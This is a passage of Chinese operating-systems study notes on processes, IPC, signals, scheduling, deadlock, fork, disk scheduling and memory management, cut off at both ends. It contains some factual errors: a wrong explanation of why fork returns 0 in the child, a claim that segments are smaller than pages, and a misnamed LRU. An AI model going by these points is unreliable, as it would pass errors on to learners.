-这里是指正在执行的进程由于发生某事件(如I/O请求、申请缓冲区失败等)暂时无法继续执行的状态,即进程执行受到阻塞,此时引起进程调度,操作系统把处理机分配给另外一个就绪的进程,而让受阻的进程处于暂停的状态,一般将这个暂停状态称为阻塞状态 - -**终止状态** - -### 进程间通信IPC - -每个进程各自有不同的用户地址空间,任何一个进程的全局变量在另一个进程中都看不到,所以进程之间要交换数据必须通过内核,在内核中开辟一块缓冲区,进程1把数据从用户空间拷到内核缓冲区,进程2再从内核缓冲区把数据读走,内核提供的这种机制称为进程间通信 - -**管道/匿名管道** - -管道是半双工的,数据只能向一个方向流动;需要双方通信时,需要建立起两个管道。 - -* 只能用于父子进程或者兄弟进程之间(具有亲缘关系的进程); - -* 单独构成一种独立的文件系统:管道对于管道两端的进程而言,就是一个文件,但它不是普通的文件,它不属于某种文件系统,而是自立门户,单独构成一种文件系统,并且只存在与内存中。 - -* 数据的读出和写入:一个进程向管道中写的内容被管道另一端的进程读出,写入的内容每次都添加在管道缓冲区的末尾,并且每次都是从缓冲区的头部读出数据。 - -**有名管道(FIFO)** - -匿名管道,由于没有名字,只能用于亲缘关系的进程间通信。 - -为了克服这个缺点,提出了有名管道(FIFO)。 - -有名管道不同于匿名管道之处在于它提供了一个路径名与之关联,以有名管道的文件形式存在于文件系统中,这样,即使与有名管道的创建进程不存在亲缘关系的进程,只要可以访问该路径,就能够彼此通过有名管道相互通信,因此,通过有名管道不相关的进程也能交换数据。 - -**信号** - -信号是Linux系统中用于进程间互相通信或者操作的一种机制,信号可以在任何时候发给某一进程,而无需知道该进程的状态。 - -如果该进程当前并未处于执行状态,则该信号就有内核保存起来,知道该进程回复执行并传递给它为止。 - -如果一个信号被进程设置为阻塞,则该信号的传递被延迟,直到其阻塞被取消是才被传递给进程。 - -**消息队列** - -消息队列是存放在内核中的消息链表,每个消息队列由消息队列标识符表示。 - -与管道(无名管道:只存在于内存中的文件;命名管道:存在于实际的磁盘介质或者文件系统)不同的是消息队列存放在内核中,只有在内核重启(即操作系统重启)或者显示地删除一个消息队列时,该消息队列才会被真正的删除。 - -另外与管道不同的是,消息队列在某个进程往一个队列写入消息之前,并不需要另外某个进程在该队列上等待消息的到达 - -**共享内存** - -使得多个进程可以直接读写同一块内存空间,是最快的可用IPC形式,是针对其他通信机制运行效率较低而设计的。 - -为了在多个进程间交换信息,内核专门留出了一块内存区,可以由需要访问的进程将其映射到自己的私有地址空间,进程就可以直接读写这一块内存而不需要进行数据的拷贝,从而大大提高效率。 - -由于多个进程共享一段内存,因此需要依靠某种同步机制(如信号量)来达到进程间的同步及互斥。 - -共享内存示意图: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-8644f82a-eda6-4abf-b86a-13c02e7af5fd.png) - -一旦这样的内存映射到共享它的进程的地址空间,这些进程间数据传递不再涉及到内核,换句话说是进程不再通过执行进入内核的系统调用来传递彼此的数据。 - -**信号量** - -信号量是一个计数器,用于多进程对共享数据的访问,信号量的意图在于进程间同步。 - -为了获得共享资源,进程需要执行下列操作: - -1. 创建一个信号量:这要求调用者指定初始值,对于二值信号量来说,它通常是1,也可是0。 - -2. 等待一个信号量:该操作会测试这个信号量的值,如果小于0,就阻塞,也称为P操作。 -3. 挂出一个信号量:该操作将信号量的值加1,也称为V操作。 - -**套接字(Socket)** - -套接字是一种通信机制,凭借这种机制,客户/服务器(即要进行通信的进程)系统的开发工作既可以在本地单机上进行,也可以跨网络进行。也就是说它可以让不在同一台计算机但通过网络连接计算机上的进程进行通信。 - -### 信号 - -信号是进程间通信机制中唯一的异步通信机制,可以看作是异步通知,通知接收信号的进程有哪些事情发生了。 - -也可以简单理解为信号是某种形式上的软中断 - -可运行`kill -l`查看Linux支持的信号列表: - -``` -kill -l - 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP - 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 -11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM -16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP -21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ -26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR -31) SIGSYS 34) SIGRTMIN 35) SIGRTMIN+1 36) SIGRTMIN+2 37) SIGRTMIN+3 -38) SIGRTMIN+4 39) SIGRTMIN+5 40) SIGRTMIN+6 41) SIGRTMIN+7 42) SIGRTMIN+8 -43) SIGRTMIN+9 44) SIGRTMIN+10 45) SIGRTMIN+11 46) SIGRTMIN+12 47) SIGRTMIN+13 -48) SIGRTMIN+14 49) SIGRTMIN+15 50) SIGRTMAX-14 51) SIGRTMAX-13 52) SIGRTMAX-12 -53) SIGRTMAX-11 54) SIGRTMAX-10 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 -58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 -63) SIGRTMAX-1 64) SIGRTMAX -``` - -**几个常用的信号:** - -| 信号 | 描述 | -| ------- | ------------------------------------------------------------ | -| SIGHUP | 当用户退出终端时,由该终端开启的所有进程都会接收到这个信号,默认动作为终止进程。 | -| SIGINT | 程序终止(interrupt)信号, 在用户键入INTR字符(通常是`Ctrl+C`)时发出,用于通知前台进程组终止进程。 | -| SIGQUIT | 和`SIGINT`类似, 但由QUIT字符(通常是`Ctrl+\`)来控制,进程在因收到`SIGQUIT`退出时会产生`core`文件, 在这个意义上类似于一个程序错误信号。 | -| SIGKILL | 用来立即结束程序的运行,本信号不能被阻塞、处理和忽略。 | -| SIGTERM | 程序结束(terminate)信号, 与`SIGKILL`不同的是该信号可以被阻塞和处理。通常用来要求程序自己正常退出。 | -| SIGSTOP | 停止(stopped)进程的执行. 注意它和terminate以及interrupt的区别:该进程还未结束, 只是暂停执行,本信号不能被阻塞, 处理或忽略 | - -### 进程同步 - -**临界区** - -通过对多线程的串行化来访问公共资源或一段代码,速度快,适合控制数据访问 - -优点:保证在某一时刻只有一个线程能访问数据的简便办法 - -缺点:虽然临界区同步速度很快,但却只能用来同步本进程内的线程,而不可用来同步多个进程中的线程 - -**互斥量** - -为协调共同对一个共享资源的单独访问而设计的 - -互斥量跟临界区很相似,比临界区复杂,互斥对象只有一个,只有拥有互斥对象的线程才具有访问资源的权限 - -优点:使用互斥不仅仅能够在同一应用程序不同线程中实现资源的安全共享,而且可以在不同应用程序的线程之间实现对资源的安全共享 - -**信号量** - -为控制一个具有有限数量用户资源而设计,它允许多个线程在同一时刻访问同一资源,但是需要限制在同一时刻访问此资源的最大线程数目,互斥量是信号量的一种特殊情况,当信号量的最大资源数=1就是互斥量了 - -信号量(Semaphore)是一个整型变量,可以对其执行 down 和 up 操作,也就是常见的 P 和 V 操作 - -- **down** : 如果信号量大于 0 ,执行 -1 操作;如果信号量等于 0,进程睡眠,等待信号量大于 0; -- **up** :对信号量执行 +1 操作,唤醒睡眠的进程让其完成 down 操作。 - -down 和 up 操作需要被设计成原语,不可分割,通常的做法是在执行这些操作的时候屏蔽中断。 - -如果信号量的取值只能为 0 或者 1,那么就成为了 **互斥量(Mutex)** ,0 表示临界区已经加锁,1 表示临界区解锁。 - -**事件** - -用来通知线程有一些事件已发生,从而启动后继任务的开始 - -优点:事件对象通过通知操作的方式来保持线程的同步,并且可以实现不同进程中的线程同步操作 - -**管程** - -管程有一个重要特性:在一个时刻只能有一个进程使用管程。 - -进程在无法继续执行的时候不能一直占用管程,否则其它进程永远不能使用管程。 - -管程引入了 **条件变量** 以及相关的操作:**wait()** 和 **signal()** 来实现同步操作。 - -对条件变量执行 wait() 操作会导致调用进程阻塞,把管程让出来给另一个进程持有。 - -signal() 操作用于唤醒被阻塞的进程。 - -使用信号量机制实现的生产者消费者问题需要客户端代码做很多控制,而管程把控制的代码独立出来,不仅不容易出错,也使得客户端代码调用更容易。 - -### 上下文切换 - -对于单核单线程CPU而言,在某一时刻只能执行一条CPU指令。 - -上下文切换(Context Switch)是一种将CPU资源从一个进程分配给另一个进程的机制。 - -从用户角度看,计算机能够并行运行多个进程,这恰恰是操作系统通过快速上下文切换造成的结果。 - -**在切换的过程中,操作系统需要先存储当前进程的状态(包括内存空间的指针,当前执行完的指令等等),再读入下一个进程的状态,然后执行此进程。** - -### 进程调度算法 - -**先来先服务调度算法** - -该算法既可用于作业调度,也可用于进程调度,当在作业调度中采用该算法时,每次调度都是从后备作业队列中选择一个或多个最先进入该队列的作业,将它们调入内存,为它们分配资源、创建进程,然后放入就绪队列 - -**短作业优先调度算法** - -从后备队列中选择一个或若干个估计运行时间最短的作业,将它们调入内存运行 - -**时间片轮转法** - -每次调度时,把CPU分配给队首进程,并令其执行一个时间片,时间片的大小从几ms到几百ms,当执行的时间片用完时,由一个计时器发出时钟中断请求,调度程序便据此信号来停止该进程的执行,并将它送往就绪队列的末尾 - -然后,再把处理机分配给就绪队列中新的队首进程,同时也让它执行一个时间片,这样就可以保证就绪队列中的所有进程在一给定的时间内均能获得一时间片的处理机执行时间 - -**最短剩余时间优先** - -最短作业优先的抢占式版本,按剩余运行时间的顺序进行调度,当一个新的作业到达时,其整个运行时间与当前进程的剩余时间作比较。 - -如果新的进程需要的时间更少,则挂起当前进程,运行新的进程。否则新的进程等待。 - -**多级反馈队列调度算法**: - -前面介绍的几种进程调度的算法都有一定的局限性,如**短进程优先的调度算法,仅照顾了短进程而忽略了长进程**,多级反馈队列调度算法既能使高优先级的作业得到响应又能使短作业迅速完成,因而它是目前**被公认的一种较好的进程调度算法**,UNIX 操作系统采取的便是这种调度算法。 - -> 举例: - -多级队列,就是多个队列执行调度,先考虑最简单的两级模型 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-bcc4bc31-75b9-43f2-9f16-7a0e419e5615.png) - -上图中设计了两个优先级不同的队列,从下到上优先级上升,上层队列调度紧急任务,下层队列调度普通任务。 - -只要上层队列有任务,下层队列就会让出执行权限。 - -低优先级队列可以考虑抢占 + 优先级队列的方式实现,这样每次执行一个时间片段就可以判断一下高优先级的队列中是否有任务。 - -高优先级队列可以考虑用非抢占(每个任务执行完才执行下一个)+ 优先级队列实现,这样紧急任务优先级有个区分,如果遇到十万火急的情况,就可以优先处理这个任务。 - -上面这个模型虽然解决了任务间的优先级问题,但是还是没有解决短任务先行的问题,可以考虑再增加一些队列,让级别更多。 - -> 比如下图这个模型: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-85f35508-c541-483b-9f34-a54a0c619fff.png) - -紧急任务仍然走高优队列,非抢占执行。 - -普通任务先放到优先级仅次于高优任务的队列中,并且只分配很小的时间片;如果没有执行完成,说明任务不是很短,就将任务下调一层。 - -下面一层,最低优先级的队列中时间片很大,长任务就有更大的时间片可以用。 - -通过这种方式,短任务会在更高优先级的队列中执行完成,长任务优先级会下调,也就类似实现了最短作业优先的问题。 - -实际操作中,可以有 n 层,一层层把大任务筛选出来,最长的任务,放到最闲的时间去执行,要知道,大部分时间 CPU 不是满负荷的。 - -**优先级调度** - -为每个流程分配优先级,首先执行具有最高优先级的进程,依此类推,具有相同优先级的进程以 FCFS 方式执行,可以根据内存要求,时间要求或任何其他资源要求来确定优先级。 - -### 守护进程 - -守护进程是脱离于终端并且在后台运行的进程,脱离终端是为了避免在执行的过程中的信息在终端上显示,并且进程也不会被任何终端所产生的终端信息所打断。 - -守护进程一般的生命周期是系统启动到系统停止运行。 - -Linux系统中有很多的守护进程,最典型的就是我们经常看到的服务进程。 - -当然,我们也经常会利用守护进程来完成很多的系统或者自动化任务。 - -### 孤儿进程 - -父进程早于子进程退出时候子进程还在运行,子进程会成为孤儿进程,Linux会对孤儿进程的处理,把孤儿进程的父进程设为进程号为1的进程,也就是由init进程来托管,init进程负责子进程退出后的善后清理工作 - -### 僵尸进程 - -子进程执行完毕时发现父进程未退出,会向父进程发送 SIGCHLD 信号,但父进程没有使用 wait/waitpid 或其他方式处理 SIGCHLD 信号来回收子进程,子进程变成为了对系统有害的僵尸进程 - -子进程退出后留下的进程信息没有被收集,会导致占用的进程控制块PCB不被释放,形成僵尸进程,进程已经死去,但是进程资源没有被释放掉 - -**问题及危害** - -如果系统中存在大量的僵尸进程,他们的进程号就会一直被占用,但是系统所能使用的进程号是有限的,系统将因为没有可用的进程号而导致系统不能产生新的进程 - -任何一个子进程(init除外)在exit()之后,并非马上就消失掉,而是留下一个称为僵尸进程(Zombie)的数据结构,等待父进程处理,这是每个子进程在结束时都要经过的阶段,如果子进程在exit()之后,父进程没有来得及处理,这时用ps命令就能看到子进程的状态是Z。 - -如果父进程能及时处理,可能用ps命令就来不及看到子进程的僵尸状态,但这并不等于子进程不经过僵尸状态 - -产生僵尸进程的元凶其实是他们的父进程,杀掉父进程,僵尸进程就变为了孤儿进程,便可以转交给 init 进程回收处理 - -### 死锁 - -**产生原因** - -系统资源的竞争:系统资源的竞争导致系统资源不足,以及资源分配不当,导致死锁。 - -进程运行推进顺序不合适:进程在运行过程中,请求和释放资源的顺序不当,会导致死锁。 - -**发生死锁的四个必要条件** - -互斥条件:一个资源每次只能被一个进程使用,即在一段时间内某资源仅为一个进程所占有,此时若有其他进程请求该资源,则请求进程只能等待 - -请求与保持条件:进程已经保持了至少一个资源,但又提出了新的资源请求时,该资源已被其他进程占有,此时请求进程被阻塞,但对自己已获得的资源保持不放 - -不可剥夺条件:进程所获得的资源在未使用完毕之前,不能被其他进程强行夺走,即只能由获得该资源的进程自己来释放(只能是主动释放) - -循环等待条件: 若干进程间形成首尾相接循环等待资源的关系 - -这四个条件是死锁的必要条件,只要系统发生死锁,这些条件必然成立,而只要上述条件之一不满足,就不会发生死锁 - -**只要我们破坏其中一个,就可以成功避免死锁的发生** - -其中,互斥这个条件我们没有办法破坏,因为我们用锁为的就是互斥 - -1. 对于占用且等待这个条件,我们可以一次性申请所有的资源,这样就不存在等待了。 -2. 对于不可抢占这个条件,占用部分资源的线程进一步申请其他资源时,如果申请不到,可以主动释放它占有的资源,这样不可抢占这个条件就破坏掉了。 -3. 对于循环等待这个条件,可以靠按序申请资源来预防,所谓按序申请,是指资源是有线性顺序的,申请的时候可以先申请资源序号小的,再申请资源序号大的,这样线性化后自然就不存在循环了。 - -**处理方法** - -主要有以下四种方法: - -- 鸵鸟策略 -- 死锁检测与死锁恢复 -- 死锁预防,破坏4个必要条件 -- 死锁避免,银行家算法 - -**鸵鸟策略** - -把头埋在沙子里,假装根本没发生问题。 - -因为解决死锁问题的代价很高,因此鸵鸟策略这种不采取任务措施的方案会获得更高的性能。 - -当发生死锁时不会对用户造成多大影响,或发生死锁的概率很低,可以采用鸵鸟策略。 - -**死锁检测** - -不试图阻止死锁,而是当检测到死锁发生时,采取措施进行恢复。 - -1. 每种类型一个资源的死锁检测 - -2. 每种类型多个资源的死锁检测 - -**死锁恢复** - -- 利用抢占恢复 -- 利用回滚恢复 -- 通过杀死进程恢复 - -#### 哲学家进餐问题 - -五个哲学家围着一张圆桌,每个哲学家面前放着食物。 - -哲学家的生活有两种交替活动:吃饭以及思考。 - -当一个哲学家吃饭时,需要先拿起自己左右两边的两根筷子,并且一次只能拿起一根筷子。 - -如果所有哲学家同时拿起左手边的筷子,那么所有哲学家都在等待其它哲学家吃完并释放自己手中的筷子,导致死锁。 - -哲学家进餐问题可看作是并发进程并发执行时处理共享资源的一个有代表性的问题。 - -**为了防止死锁的发生,可以设置两个条件:** - -- 必须同时拿起左右两根筷子; -- 只有在两个邻居都没有进餐的情况下才允许进餐。 - -#### 银行家算法 - -银行家算法的命名是它可以用了银行系统,当不能满足所有客户的需求时,银行绝不会分配其资金。 - -当新进程进入系统时,它必须说明其可能需要的每种类型资源实例的最大数量这一数量不可以超过系统资源的总和。 - -当用户申请一组资源时,系统必须确定这些资源的分配是否处于安全状态,如何安全,则分配,如果不安全,那么进程必须等待指导某个其他进程释放足够资源为止。 - -**安全状态** - -在避免死锁的方法中,允许进程动态地申请资源,但系统在进行资源分配之前,应先计算此次资源分配的安全性,若此次分配不会导致系统进入不安全状态,则将资源分配给进程;否则,令进程等待 - -因此,避免死锁的实质在于:系统在进行资源分配时,如何使系统不进入不安全状态 - -### Fork函数 - -`fork`函数用于创建一个与当前进程一样的子进程,所创建的子进程将复制父进程的代码段、数据段、BSS段、堆、栈等所有用户空间信息,在内核中操作系统会重新为其申请一个子进程执行的位置。 - -`fork`系统调用会通过复制一个现有进程来创建一个全新的进程,新进程被存放在一个叫做任务队列的双向循环链表中,链表中的每一项都是类型为`task_struct`的进程控制块`PCB`的结构。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-ee3d0c6b-9d93-4f9d-95f3-86e7d195a8f8.png) - -每个进程都由独特换不相同的进程标识符(PID),通过`getpid()`函数可获取当前进程的进程标识符,通过`getppid()`函数可获得父进程的进程标识符。 - -一个现有的进程可通过调用`fork`函数创建一个新进程,由`fork`创建的新进程称为子进程`child process`,`fork`函数被调用一次但返回两次,两次返回的唯一区别是子进程中返回0而父进程中返回子进程ID。 - -**为什么`fork`会返回两次呢?** - -因为复制时会复制父进程的堆栈段,所以两个进程都停留在`fork`函数中等待返回,因此会返回两次,一个是在父进程中返回,一次是在子进程中返回,两次返回值是不一样的。 - -- 在父进程中将返回新建子进程的进程ID -- 在子进程中将返回0 -- 若出现错误则返回一个负数 - -因此可以通过`fork`的返回值来判断当前进程是子进程还是父进程。 - -**fork执行执行流程** - -当进程调用`fork`后控制转入内核,内核将会做4件事儿: - -1. 分配新的内存块和内核数据结构给子进程 -2. 将父进程部分数据结构内容(数据空间、堆栈等)拷贝到子进程 -3. 添加子进程到系统进程列表中 -4. `fork`返回开始调度器调度 - -**为什么`pid`在父子进程中不同呢?** - -其实就相当于链表,进程形成了链表,父进程的`pid`指向子进程的进程ID,因此子进程没有子进程,所以PID为0,这里的`pid`相当于链表中的指针。 - -## 设备管理 - -### 磁盘调度算法 - -读写一个磁盘块的时间的影响因素有: - -- 旋转时间 -- 寻道时间实际的数据传输时间 - -其中,寻道时间最长,因此磁盘调度的主要目标是使磁盘的平均寻道时间最短。 - -> 先来先服务 FCFS, First Come First Served - -按照磁盘请求的顺序进行调度,优点是公平和简单,缺点也很明显,因为未对寻道做任何优化,使平均寻道时间可能较长。 - -> 最短寻道时间优先,SSTF, Shortest Seek Time First - -优先调度与当前磁头所在磁道距离最近的磁道, 虽然平均寻道时间比较低,但是不够公平,如果新到达的磁道请求总是比一个在等待的磁道请求近,那么在等待的 磁道请求会一直等待下去,也就是出现饥饿现象,具体来说,两边的磁道请求更容易出现饥饿现象。 - -> 电梯算法,SCAN - -电梯总是保持一个方向运行,直到该方向没有请求为止,然后改变运行方向, 电梯算法(扫描算法)和电梯的运行过程类似,总是按一个方向来进行磁盘调度,直到该方向上没有未完成的磁盘 请求,然后改变方向,因为考虑了移动方向,因此所有的磁盘请求都会被满足,解决了 SSTF 的饥饿问题 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) - -## 内存管理 - -**逻辑地址和物理地址** - -我们编程一般只有可能和逻辑地址打交道,比如在 C 语言中,指针里面存储的数值就可以理解成为内存里的一个地址,这个地址也就是我们说的逻辑地址,逻辑地址由操作系统决定。 - -物理地址指的是真实物理内存中地址,更具体一点来说就是内存地址寄存器中的地址,物理地址是内存单元真正的地址。 - -编译时只需确定变量x存放的相对地址是100 ( 也就是说相对于进程在内存中的起始地址而言的地址)。 - -CPU想要找到x在内存中的实际存放位置,只需要用进程的起始地址+100即可。 - -相对地址又称逻辑地址,绝对地址又称物理地址。 - -**内存管理有哪几种方式** - -1. **块式管理**:将内存分为几个固定大小的块,每个块中只包含一个进程,如果程序运行需要内存的话,操作系统就分配给它一块,如果程序运行只需要很小的空间的话,分配的这块内存很大一部分几乎被浪费了,这些在每个块中未被利用的空间,我们称之为碎片。 -2. **页式管理**:把主存分为大小相等且固定的一页一页的形式,页较小,相对相比于块式管理的划分力度更大,提高了内存利用率,减少了碎片,页式管理通过页表对应逻辑地址和物理地址。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-2d1e6109-5c99-4ab8-b9b4-00c851386d65.png) - -1. **段式管理**: 页式管理虽然提高了内存利用率,但是页式管理其中的页实际并无任何实际意义, 段式管理把主存分为一段段的,每一段的空间又要比一页的空间小很多 ,段式管理通过段表对应逻辑地址和物理地址。 -2. **段页式管理机制:**段页式管理机制结合了段式管理和页式管理的优点,简单来说段页式管理机制就是把主存先分成若干段,每个段又分成若干页,也就是说**段页式管理机制**中段与段之间以及段的内部的都是离散的。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-06d985c8-7c5a-46eb-8f04-e7a010a90f40.png) - -### 虚拟地址 - -现代处理器使用的是一种称为**虚拟寻址(Virtual Addressing)**的寻址方式 - -**使用虚拟寻址,CPU 需要将虚拟地址翻译成物理地址,这样才能访问到真实的物理内存。** - -实际上完成虚拟地址转换为物理地址转换的硬件是 CPU 中含有一个被称为**内存管理单元(Memory Management Unit, MMU)**的硬件 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-ad8515bb-ce0c-43b3-b9ff-9d4d5fa0994e.png) - -**为什么要有虚拟地址空间** - -没有虚拟地址空间的时候,**程序都是直接访问和操作的都是物理内存**。 - -但是这样有什么问题? - -1. 用户程序可以访问任意内存,寻址内存的每个字节,这样就很容易破坏操作系统,造成操作系统崩溃。 -2. 想要同时运行多个程序特别困难,比如你想同时运行一个微信和一个 QQ 音乐都不行,为什么呢?举个简单的例子:微信在运行的时候给内存地址 1xxx 赋值后,QQ 音乐也同样给内存地址 1xxx 赋值,那么 QQ 音乐对内存的赋值就会覆盖微信之前所赋的值,这就造成了微信这个程序就会崩溃。 - -**通过虚拟地址访问内存有以下优势:** - -- 程序可以使用一系列相邻的虚拟地址来访问物理内存中不相邻的大内存缓冲区。 -- 程序可以使用一系列虚拟地址来访问大于可用物理内存的内存缓冲区。 -- 不同进程使用的虚拟地址彼此隔离,一个进程中的代码无法更改正在由另一进程或操作系统使用的物理内存。 - -**MMU如何把虚拟地址翻译成物理地址的** - -对于每个程序,内存管理单元MMU都为其保存一个页表,该页表中存放的是虚拟页面到物理页面的映射。 - -每当为一个虚拟页面寻找到一个物理页面之后,就在页表里增加一条记录来保留该映射关系,当然,随着虚拟页面进出物理内存,页表的内容也会不断更新变化。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-169790fd-8ef1-400f-a4a4-e291a729d2cb.png) - -### 虚拟内存 - -很多时候我们使用点开了很多占内存的软件,这些软件占用的内存可能已经远远超出了我们电脑本身具有的物理内存 - -通过 **虚拟内存** 可以让程序可以拥有超过系统物理内存大小的可用内存空间。 - -另外,虚拟内存为每个进程提供了一个一致的、私有的地址空间,它让每个进程产生了一种自己在独享主存的错觉(每个进程拥有一片连续完整的内存空间),这样会更加有效地管理内存并减少出错。 - -**虚拟内存**是计算机系统内存管理的一种技术,我们可以手动设置自己电脑的虚拟内存 - -**虚拟内存的重要意义是它定义了一个连续的虚拟地址空间**,并且 **把内存扩展到硬盘空间** - -**虚拟内存的实现有以下三种方式:** - -1. **请求分页存储管理** :请求分页是目前最常用的一种实现虚拟存储器的方法,请求分页存储管理系统中,在作业开始运行之前,仅装入当前要执行的部分段即可运行,假如在作业运行的过程中发现要访问的页面不在内存,则由处理器通知操作系统按照对应的页面置换算法将相应的页面调入到主存,同时操作系统也可以将暂时不用的页面置换到外存中。 -2. **请求分段存储管理** :请求分段储存管理方式就如同请求分页储存管理方式一样,在作业开始运行之前,仅装入当前要执行的部分段即可运行;在执行过程中,可使用请求调入中断动态装入要访问但又不在内存的程序段;当内存空间已满,而又需要装入新的段时,根据置换功能适当调出某个段,以便腾出空间而装入新的段。 -3. **请求段页式存储管理** - -不管是上面那种实现方式,我们一般都需要: - -> 一定容量的内存和外存:在载入程序的时候,只需要将程序的一部分装入内存,而将其他部分留在外存,然后程序就可以执行了; - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-d2104a4e-cb28-4d90-b8f1-92cb15b0bb31.png) - - - -### 缺页中断 - -如果**需执行的指令或访问的数据尚未在内存**(称为缺页或缺段),则由处理器通知操作系统将相应的页面或段**调入到内存**,然后继续执行程序; - -在分页系统中,一个虚拟页面既有可能在物理内存,也有可能保存在磁盘上。 - -如果CPU发出的虚拟地址对应的页面不在物理内存,就将产生一个缺页中断,而缺页中断服务程序负责将需要的虚拟页面找到并加载到内存。 - -缺页中断的处理步骤如下,省略了中间很多的步骤,只保留最核心的几个步骤: - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-5101231b-d8da-418e-b60c-574bcfa8b579.png) - -### 页面置换算法 - -当发生缺页中断时,如果当前内存中并没有空闲的页面,操作系统就必须在内存选择一个页面将其移出内存,以便为即将调入的页面让出空间。 - -用来选择淘汰哪一页的规则叫做页面置换算法,我们可以把页面置换算法看成是淘汰页面的规则 - -- **OPT 页面置换算法(最佳页面置换算法)** :该置换算法所选择的被淘汰页面将是以后永不使用的,或者是在最长时间内不再被访问的页面,这样可以保证获得最低的缺页率,但由于人们目前无法预知进程在内存下的若千页面中哪个是未来最长时间内不再被访问的,因而该算法无法实现,一般作为衡量其他置换算法的方法。 -- **FIFO(First In First Out) 页面置换算法(先进先出页面置换算法)** : 总是淘汰最先进入内存的页面,即选择在内存中驻留时间最久的页面进行淘汰。 - -- **LRU (Least Currently Used)页面置换算法(最近最久未使用页面置换算法)** :LRU算法赋予每个页面一个访问字段,用来记录一个页面自上次被访问以来所经历的时间 T,当须淘汰一个页面时,选择现有页面中其 T 值最大的,即最近最久未使用的页面予以淘汰。 -- **LFU (Least Frequently Used)页面置换算法(最少使用页面置换算法)** : 该置换算法选择在之前时期使用最少的页面作为淘汰页。 - -### 局部性原理 - -局部性原理是虚拟内存技术的基础,正是因为程序运行具有局部性原理,才可以只装入部分程序到内存就开始运行。 - -局部性原理表现在以下两个方面: - -1. **时间局部性** :如果程序中的某条指令一旦执行,不久以后该指令可能再次执行;如果某数据被访问过,不久以后该数据可能再次被访问,产生时间局部性的典型原因,是由于在程序中存在着大量的循环操作。 -2. **空间局部性** :一旦程序访问了某个存储单元,在不久之后,其附近的存储单元也将被访问,即程序在一段时间内所访问的地址,可能集中在一定的范围之内,这是因为指令通常是顺序存放、顺序执行的,数据也一般是以向量、数组、表等形式簇聚存储的。 - -时间局部性是通过将近来使用的指令和数据保存到**高速缓存存储器**中,并使用高速缓存的层次结构实现。 - -空间局部性通常是使用较大的高速缓存,并将预取机制集成到高速缓存控制逻辑中实现。 - -### 页表 - -操作系统将虚拟内存分块,每个小块称为一个页(Page);真实内存也需要分块,每个小块我们称为一个 Frame。 - -Page 到 Frame 的映射,需要一种叫作页表的结构。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-d3ce7f2b-275c-422c-8793-f3e0e1894ecc.png) - -上图展示了 Page、Frame 和页表 (PageTable)三者之间的关系。 - -Page 大小和 Frame 大小通常相等,页表中记录的某个 Page 对应的 Frame 编号。 - -页表也需要存储空间,比如虚拟内存大小为 10G, Page 大小是 4K,那么需要 10G/4K = 2621440 个条目。 - -如果每个条目是 64bit,那么一共需要 20480K = 20M 页表,操作系统在内存中划分出小块区域给页表,并负责维护页表。 - -**页表维护了虚拟地址到真实地址的映射。** - -每次程序使用内存时,需要把虚拟内存地址换算成物理内存地址,换算过程分为以下 3 个步骤: - -* 通过虚拟地址计算 Page 编号; - -* 查页表,根据 Page 编号,找到 Frame 编号; - -* 将虚拟地址换算成物理地址。 - -#### 多级页表 - -引入多级页表的主要目的是为了避免把全部页表一直放在内存中占用过多空间,特别是那些根本就不需要的页表就不需要保留在内存中 - -**一级页表:** - -假如物理内存中一共有1048576个页,那么页表就需要总共就是`1048576 * 4B = 4M`。 - -也就是说我需要4M连续的内存来存放这个页表,也就是一级页表。 - -随着虚拟地址空间的增大,存放页表所需要的连续空间也会增大,在操作系统内存紧张或者内存碎片较多时,这无疑会带来额外的开销。 - -页表寻址是用寄存器来确定一级页表地址的,所以一级页表的地址必须指向确定的物理页,否则就会出现错误,所以如果用一级页表的话,就必须把全部的页表都加载进去。 - -**二级页表:** - -而使用二级页表的话,只需要加载一个页目录表(一级页表),大小为4K,可以管理1024个二级页表。 - -可能你会有疑问,这1024个二级页表也是需要内存空间的,这下反而需要4MB+4KB的内存,反而更多了。 - -其实二级页表并不是一定要存在内存中的,内存中只需要一个一级页表地址存在存器即可,二级页表可以使用缺页中断从外存移入内存。 - -**多级页表属于时间换空间的典型场景** - -### 快表 - -为了解决虚拟地址到物理地址的转换速度,操作系统在**页表方案**基础之上引入了**快表**来加速虚拟地址到物理地址的转换 - -我们可以把快表理解为一种特殊的**高速缓冲存储器(Cache)**,其中的内容是页表的一部分或者全部内容,作为页表的 Cache,它的作用与页表相似,但是提高了访问速率,由于采用页表做地址转换,读写内存数据时 CPU 要访问两次主存,有了快表,有时只要访问一次高速缓冲存储器,一次主存,这样可加速查找并提高指令执行速度。 - -**使用快表之后的地址转换流程是这样的:** - -1. 根据虚拟地址中的页号查快表; -2. 如果该页在快表中,直接从快表中读取相应的物理地址; -3. 如果该页不在快表中,就访问内存中的页表,再从页表中得到物理地址,同时将页表中的该映射表项添加到快表中; -4. 当快表填满后,又要登记新页时,就按照一定的淘汰策略淘汰掉快表中的一个页。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cs/os-a9551753-2578-474e-a452-192d01382d22.png) - -### 内存管理单元 - -在 CPU 中一个小型的设备——内存管理单元(MMU) - 